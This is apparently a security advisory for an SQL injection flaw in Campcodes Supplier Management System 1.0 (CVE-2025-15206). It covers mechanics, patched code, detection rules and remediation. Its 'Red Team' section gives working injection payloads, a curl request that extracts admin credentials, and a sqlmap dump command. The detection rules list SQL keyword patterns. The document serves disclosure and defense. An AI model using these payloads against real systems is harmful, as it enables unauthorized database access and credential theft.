CVE-2025-15206

Executive Summary

CVE-2025-15206 is a critical SQL injection vulnerability in Campcodes Supplier Management System 1.0, specifically in the /admin/add_area.php file. The txtAreaCode parameter is directly concatenated into SQL queries without sanitization, allowing remote unauthenticated attackers to execute arbitrary SQL commands. This can lead to data exfiltration, authentication bypass, and potential server compromise. The exploit has been publicly released, increasing the risk of active exploitation. No patch is available from the vendor.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Potential for denial of service via SQL injection.

Threat Level: High – Public exploit, no patch, remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability resides in /admin/add_area.php. The txtAreaCode POST parameter is used in an SQL INSERT or SELECT statement without parameterization or escaping. An attacker can inject SQL commands by appending a single quote (') and SQL payloads. The application likely uses mysqli_query or similar with direct string concatenation.

Example vulnerable code snippet (conceptual):

$areaCode = $_POST['txtAreaCode'];
$sql = "INSERT INTO areas (code) VALUES ('$areaCode')";
mysqli_query($conn, $sql);

The attacker can break out of the string context and execute arbitrary SQL, such as:

' OR '1'='1' -- -

This can be used to bypass authentication, extract data, or modify records.

Vulnerable vs. Patched Code

Vulnerable code (conceptual):

$areaCode = $_POST['txtAreaCode'];
$sql = "INSERT INTO areas (code) VALUES ('$areaCode')";
$result = mysqli_query($conn, $sql);

Patched code (recommended):

$areaCode = $_POST['txtAreaCode'];
$stmt = $conn->prepare("INSERT INTO areas (code) VALUES (?)");
$stmt->bind_param("s", $areaCode);
$stmt->execute();

No official patch exists; the above is a mitigation example.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running Campcodes Supplier Management System 1.0.
• Access to /admin/add_area.php.

Exploit Steps:

1. Identify the vulnerable endpoint: POST /admin/add_area.php
2. Inject SQL payload in txtAreaCode parameter.

Example payload (SQLi to extract admin credentials):

' UNION SELECT username, password FROM admin_users -- -

Full HTTP request (using curl):

curl -X POST http://target/admin/add_area.php \
  -d "txtAreaCode=' UNION SELECT username, password FROM admin_users -- -"

Automated exploitation with sqlmap:

sqlmap -u "http://target/admin/add_area.php" --data="txtAreaCode=test" --batch --dump

Blue Team (Defender)

Detection:

• Monitor HTTP POST requests to /admin/add_area.php with unusual txtAreaCode values (e.g., containing SQL keywords like UNION, SELECT, OR, ').
• Look for error messages revealing SQL syntax (e.g., "You have an error in your SQL syntax").

Honeypot:

• Deploy a fake /admin/add_area.php that logs all POST data and alerts on SQL-like patterns.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /admin/add_area.php with txtAreaCode containing SQL metacharacters (', --, #, UNION, SELECT).
  • Unusual database error messages in HTTP responses (e.g., "MySQL syntax error").
• File:
  • Modified database entries in areas table or other tables.
  • New files in web root (e.g., webshells) if the attacker gains file write access.
• Log:
  • Web server logs showing repeated POST requests to /admin/add_area.php with varying payloads.

Detection Engineering

YARA Rule

rule CVE_2025_15206_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-15206 in Campcodes Supplier Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15206"
    strings:
        $sqli1 = /txtAreaCode=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /txtAreaCode=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-15206 SQL Injection Attempt
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against /admin/add_area.php in Campcodes Supplier Management System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/add_area.php'
        cs-uri-query|contains: 'txtAreaCode='
    keywords:
        - "' OR"
        - "' AND"
        - "UNION SELECT"
        - "1=1"
        - "1=2"
        - "--"
        - "#"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in area codes (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-15206 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/add_area.php"; http_uri;
    content:"txtAreaCode="; http_client_body;
    pcre:"/(?:'|%27)\s*(?:OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-15206;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Implement a WAF rule to block SQL injection patterns in txtAreaCode.
3. Apply input validation – allow only alphanumeric characters for area codes.
4. Use parameterized queries (prepared statements) in PHP code.

Long-term:

• Replace the application with a maintained alternative.
• Monitor for vendor updates (unlikely).
• Conduct a full security audit of the application.

Workaround:

• Disable the /admin/add_area.php endpoint if not needed.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert